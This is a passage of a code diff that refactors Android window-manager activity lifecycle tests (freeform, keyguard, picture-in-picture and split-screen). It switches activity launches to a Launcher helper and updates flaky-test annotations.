 import org.junit.Test;
 
@@ -53,6 +51,8 @@
  */
 @MediumTest
 @Presubmit
+@FlakyTest(bugId=137329632)
+@android.server.wm.annotation.Group3
 public class ActivityLifecycleFreeformTests extends ActivityLifecycleClientTestBase {
 
     @Before
@@ -64,16 +64,15 @@
     @Test
     public void testLaunchInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
-        final ActivityOptions launchOptions = ActivityOptions.makeBasic();
-        launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
-        final Bundle bundle = launchOptions.toBundle();
+        launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Launch an activity in freeform
-        final Intent firstIntent = new Intent(mContext, FirstActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(firstIntent, bundle);
+        final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+        launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
+        new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
         // Wait and assert resume
         waitAndAssertActivityState(getComponentName(FirstActivity.class), STATE_RESUMED,
@@ -86,24 +85,26 @@
     @Test
     public void testMultiLaunchInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+        launchActivityAndWait(CallbackTrackingActivity.class);
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
-        final Bundle bundle = launchOptions.toBundle();
 
         // Launch three activities in freeform
-        final Intent firstIntent = new Intent(mContext, FirstActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(firstIntent, bundle);
+        new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
-        final Intent secondIntent = new Intent(mContext, SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(secondIntent, bundle);
+        new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
-        final Intent thirdIntent = new Intent(mContext, ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(thirdIntent, bundle);
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
         // Wait for resume
         final String message = "Activity should be resumed after launch";
@@ -122,22 +123,23 @@
     @Test
     public void testLaunchOccludingInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+        launchActivityAndWait(CallbackTrackingActivity.class);
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
-        final Bundle bundle = launchOptions.toBundle();
 
         // Launch two activities in freeform in the same task
-        final Intent firstIntent = new Intent(mContext, FirstActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(firstIntent, bundle);
+        new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
 
-        final Intent thirdIntent = new Intent(mContext, ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(thirdIntent, bundle);
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
         // Wait for valid states
         final String stopMessage = "Activity should be stopped after being covered above";
@@ -179,23 +181,23 @@
     @Test
     public void testLaunchTranslucentInFreeform() throws Exception {
         // Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
-        mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+        launchActivityAndWait(CallbackTrackingActivity.class);
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
-        final Bundle bundle = launchOptions.toBundle();
 
         // Launch two activities in freeform in the same task
-        final Intent firstIntent = new Intent(mContext, FirstActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(firstIntent, bundle);
+        new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
-        final Activity transparentActivity = mTranslucentActivityTestRule
-                .launchActivity(new Intent());
+        final Activity transparentActivity = launchActivityAndWait(TranslucentActivity.class);
 
-        final Intent thirdIntent = new Intent(mContext, ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        mTargetContext.startActivity(thirdIntent, bundle);
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
         // Wait for valid states
         final String pauseMessage = "Activity should be stopped after transparent launch above";
@@ -243,7 +245,7 @@
     public void testPreQTopProcessResumedActivityInFreeform() throws Exception {
         // Resume app switches, so the activities that we are going to launch won't be deferred
         // since Home activity was started in #setUp().
-        SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
+        resumeAppSwitches();
 
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 2dff252..cce9543 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -28,7 +28,6 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
-import android.content.Intent;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.FlakyTest;
@@ -44,30 +43,29 @@
  */
 @MediumTest
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityLifecycleKeyguardTests extends ActivityLifecycleClientTestBase {
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testSingleLaunch() throws Exception {
         assumeTrue(supportsSecureLock());
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
 
-            final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
-            waitAndAssertActivityStates(state(activity, ON_STOP));
-
+            new Launcher(FirstActivity.class)
+                    .setExpectedState(ON_STOP)
+                    .setNoInstance()
+                    .launch();
             LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
         }
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testKeyguardShowHide() throws Exception {
         assumeTrue(supportsSecureLock());
 
         // Launch first activity and wait for resume
-        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_RESUME));
+        final Activity activity = launchActivityAndWait(FirstActivity.class);
 
         // Show and hide lock screen
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
@@ -84,23 +82,21 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
+    @FlakyTest(bugId=127741025)
     public void testKeyguardShowHideOverSplitScreen() throws Exception {
         assumeTrue(supportsSecureLock());
         assumeTrue(supportsSplitScreenMultiWindow());
 
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
 
         // Launch second activity to side
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for second activity to resume.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
         // Leaving the minimized dock, the stack state on the primary split screen should change
         // from Paused to Resumed.
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
@@ -124,7 +120,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testKeyguardShowHideOverPip() throws Exception {
         assumeTrue(supportsSecureLock());
         if (!supportsPip()) {
@@ -133,25 +128,26 @@
         }
 
         // Launch first activity
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Clear the log before launching to Pip
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Wait and assert lifecycle
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Show and hide lock screen
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
             waitAndAssertActivityStates(state(firstActivity, ON_STOP));
-            waitAndAssertActivityStates(state(pipActivity, ON_STOP));
+            waitAndAssertActivityStates(state(PipActivity.class, ON_STOP));
 
             LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
             LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
@@ -160,7 +156,8 @@
         } // keyguard hidden
 
         // Wait and assert lifecycle
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
+                state(PipActivity.class, ON_PAUSE));
         LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
         LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
                 Arrays.asList(ON_RESTART, ON_START, ON_RESUME, ON_PAUSE), "keyguardGone");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index 9024c9a..7159d10 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -34,7 +34,6 @@
 
 import android.app.Activity;
 import android.content.ComponentName;
-import android.content.Intent;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.FlakyTest;
@@ -50,9 +49,9 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:ActivityLifecyclePipTests
  */
-@FlakyTest(bugId = 77652261)
 @MediumTest
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityLifecyclePipTests extends ActivityLifecycleClientTestBase {
 
     @Before
@@ -64,12 +63,12 @@
     @Test
     public void testGoToPip() throws Exception {
         // Launch first activity
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch Pip-capable activity
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(new Intent());
+        final Activity pipActivity = launchActivityAndWait(PipActivity.class);
 
-        waitAndAssertActivityStates(state(firstActivity, ON_STOP), state(pipActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         // Move activity to Picture-In-Picture
         getLifecycleLog().clear();
@@ -89,18 +88,19 @@
     @Test
     public void testPipOnLaunch() throws Exception {
         // Launch first activity
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Clear the log before launching to Pip
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Wait and assert lifecycle
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         final List<LifecycleLog.ActivityCallback> expectedSequence =
                 Arrays.asList(ON_PAUSE, ON_RESUME);
@@ -117,18 +117,19 @@
     @Test
     public void testDestroyPip() throws Exception {
         // Launch first activity
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Clear the log before launching to Pip
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
+        final Activity pipActivity = new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Wait and assert lifecycle
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Exit PiP
         getLifecycleLog().clear();
@@ -143,18 +144,18 @@
     @Test
     public void testLaunchBelowPip() throws Exception {
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Launch a regular activity below
         getLifecycleLog().clear();
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent()
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
         // Wait and verify the sequence
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
         LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
                 "launchBelowPip");
@@ -163,17 +164,21 @@
     @Test
     public void testIntoPipSameTask() throws Exception {
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Launch a regular activity into same task
         getLifecycleLog().clear();
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        new Launcher(FirstActivity.class)
+                .setExpectedState(ON_PAUSE)
+                // Skip launch time verification - it can be affected by PiP menu activity
+                .setSkipLaunchTimeCheck()
+                .launch();
 
         // Wait and verify the sequence
-        waitAndAssertActivityStates(state(pipActivity, ON_STOP), state(firstActivity, ON_PAUSE));
+        waitAndAssertActivityStates(state(PipActivity.class, ON_STOP));
 
         // TODO(b/123013403): sometimes extra one or even more relaunches happen
         //final List<LifecycleLog.ActivityCallback> extraDestroySequence =
@@ -193,13 +198,15 @@
     @Test
     public void testDestroyBelowPip() throws Exception {
         // Launch a regular activity
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE), state(firstActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Destroy the activity below
         getLifecycleLog().clear();
@@ -211,20 +218,19 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testSplitScreenBelowPip() throws Exception {
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Launch first activity
         getLifecycleLog().clear();
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent()
-                        .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
         LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
 
         // Enter split screen
@@ -236,11 +242,10 @@
 
         // Launch second activity to side
         getLifecycleLog().clear();
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for activities to resume and verify lifecycle
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
         LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
         LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
                 Arrays.asList(ON_RESUME), "launchToSide");
@@ -249,29 +254,28 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testPipAboveSplitScreen() throws Exception {
         // Launch first activity
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
 
         // Launch second activity to side
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
-        // Wait for activities to resume
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
-                state(firstActivity, ON_RESUME));
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
         // Launch Pip-capable activity and enter Pip immediately
         getLifecycleLog().clear();
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
+        new Launcher(PipActivity.class)
+                .setExpectedState(ON_PAUSE)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .launch();
 
         // Wait for it to launch and pause. Other activities should not be affected.
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE), state(secondActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
         LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
                 Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME, ON_PAUSE),
                 "launchAndEnterPip");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 64e34fb..a09e969 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -50,9 +50,9 @@
 import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 
-import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
@@ -62,6 +62,7 @@
  */
 @MediumTest
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
 
     @Before
@@ -70,21 +71,17 @@
         assumeTrue(supportsSplitScreenMultiWindow());
     }
 
+    @FlakyTest(bugId = 137329632)
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
         // Launch first activity
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch second activity to stop first
-        final Activity secondActivity =
-                mSecondActivityTestRule.launchActivity(new Intent());
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
 
-        // Wait for second activity to resume. We must also wait for the first activity to stop
-        // so that this event is not included in the logs.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
-                state(firstActivity, ON_STOP));
+        // Wait for the first activity to stop, so that this event is not included in the logs.
+        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(secondActivity);
@@ -93,25 +90,32 @@
         getLifecycleLog().clear();
 
         // Start an activity in separate task (will be placed in secondary stack)
-        getLaunchActivityBuilder().execute();
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+
+        // Wait for SecondActivity in primary split screen leave minimize dock.
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
 
         // Finish top activity
         secondActivity.finish();
 
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
+                state(firstActivity, ON_RESUME));
 
         // Verify that the first activity was recreated to resume as it was created before
         // windowing mode was switched
         LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+
+        // Verify that the lifecycle state did not change for activity in non-focused stack
+        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testOccludingMovedBetweenStacks() throws Exception {
         // Launch first activity
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
@@ -122,21 +126,21 @@
 
         // Launch second activity to side
         getLifecycleLog().clear();
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for second activity to resume.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
-                state(firstActivity, ON_RESUME));
+        // Wait for first activity to resume after being moved to split-screen.
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
                 Arrays.asList(ON_RESUME), "launchToSide");
 
         // Launch third activity on top of second
         getLifecycleLog().clear();
-        final Activity thirdActivity = mThirdActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-        waitAndAssertActivityStates(state(thirdActivity, ON_RESUME),
-                state(secondActivity, ON_STOP));
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_STOP));
 
         // Move occluding third activity to side, it will occlude first now
         getLifecycleLog().clear();
@@ -151,11 +155,10 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTranslucentMovedBetweenStacks() throws Exception {
         // Launch first activity
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
@@ -166,22 +169,22 @@
 
         // Launch second activity to side
         getLifecycleLog().clear();
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for second activity to resume.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
-                state(firstActivity, ON_RESUME));
+        // Wait for first activity to resume after being moved to split-screen.
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
                 Arrays.asList(ON_RESUME), "launchToSide");
 
         // Launch translucent activity on top of second
         getLifecycleLog().clear();
 
-        final Activity translucentActivity = mTranslucentActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-        waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
-                state(secondActivity, ON_PAUSE));
+        new Launcher(TranslucentActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
 
         // Move translucent activity to side, it will be on top of the first now
         getLifecycleLog().clear();
@@ -196,13 +199,11 @@
     }
 
     @Test
+    @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
     public void testResultInNonFocusedStack() throws Exception {
         // Launch first activity
         final Activity callbackTrackingActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
-        // Wait for first activity to resume
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_TOP_POSITION_GAINED));
+                launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen, the activity will be relaunched.
         // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
@@ -231,11 +232,9 @@
         waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
 
         // Start an activity in separate task (will be placed in secondary stack)
-        final Activity thirdActivity = mThirdActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
-        // Wait for third activity to resume
-        waitAndAssertActivityStates(state(thirdActivity, ON_RESUME));
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
         // Finish top activity and verify that activity below became focused.
         getLifecycleLog().clear();
@@ -249,31 +248,26 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
         // Launch first activity
-        final Activity firstActivity =
